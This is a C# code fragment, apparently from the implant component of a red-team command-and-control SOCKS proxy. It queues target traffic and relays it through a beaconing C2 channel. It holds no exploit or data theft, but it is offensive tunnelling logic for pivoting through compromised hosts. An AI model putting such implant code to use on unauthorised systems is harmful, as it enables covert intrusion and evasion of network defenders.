public void SendToTarget()
{
var SendWait = new ManualResetEvent(false);
while (!Cancel.IsCancellationRequested)
{
RecvedData.WaitOne(-1);;
RecvedData.Reset();
foreach (var key in Targets.Keys)
{
TargetInfo trget = null;
try
{
if (Targets.ContainsKey(key))
{
trget = Targets[key];
}
if (null != trget && !trget.Exit)
{
List <byte> readPyld = null;
var payload = new List <byte>();
while (trget.ReadQueue.Count > 0)
{
trget.ReadQueue.TryDequeue(out readPyld);
payload.AddRange(readPyld);
}
if (payload.Count > 0)
{
Task.Factory.StartNew(() =>
{
List <byte> toSend = null;
try
{
toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead);
ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes");
if (null == toSend || connectionDead)
{
ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING");
trget.Exit = true;
}
else if (toSend.Count > 0)
{
trget.WriteQueue.Enqueue(toSend);
SentData.Set();
}
}
catch
{
trget.Exit = true;
ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes");
}
});
ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back");
}
}
SendWait.WaitOne(BeaconTime);
}
catch (Exception ex)
{
if (null != trget)
{
trget.Exit = true;
}
ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}");
}
}
}
}
bool ProxyLoop(String targetId)
{
List <byte> toSend = null;
bool connectionHasFailed = false, connectionDead = false;
TargetInfo target = null;
_mapTargetToCount.Add(targetId, 1);
var wait = new ManualResetEvent(false);
try
{
target = _targets[targetId];
if (null == target)
{
ErrorHandler.LogError("Can't find target for GUID: " + targetId.ToString() + " exiting this proxy loop");
return(true);
}
while (!target.Exit)
{
toSend = CmdCommshandler.Send(target, "nochange", null, out connectionDead);
if (null == toSend || connectionDead)
{
ErrorHandler.LogError($"[{target.TargetId}] Connection looks dead EXITING");
return(target.Exit = connectionDead);
}
else if (toSend.Count > 0)
{
target.WriteQueue.Enqueue(toSend);
socketComms.SentData.Set();
_mapTargetToCount[targetId] = 1;
}
else
if (_mapTargetToCount[targetId]++ == 2)
{
ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request");
}
else
{
ImplantComms.LogMessage($"[{target.TargetId}] Nothing received after sending request({_mapTargetToCount[targetId]})");
}
wait.WaitOne(BeaconTime);
}
return(true);
}
catch (Exception ex)
{
ErrorHandler.LogError($"[{target.TargetId}] ERROR: {target.TargetTcpClient.Client.RemoteEndPoint.ToString()} {ex.Message}");
if (null != target && null != target.TargetTcpClient)
{
if (target.TargetTcpClient.Connected)
{
target.TargetTcpClient.Close();
}
else
{
ErrorHandler.LogError($"[{target.TargetId}] Target is null {target == null} & target.TargetTcpClient is null {target.TargetTcpClient == null} ");
}
}
}
finally
{
if (null != target && null != target.TargetTcpClient)
{
if (target.TargetTcpClient.Connected)
{
target.TargetTcpClient.Close();
}
}
if (!connectionHasFailed)
{
CmdCommshandler.Send(target, "closed", null, out connectionDead);
}
}
target.Exit = true;
return(true);
}
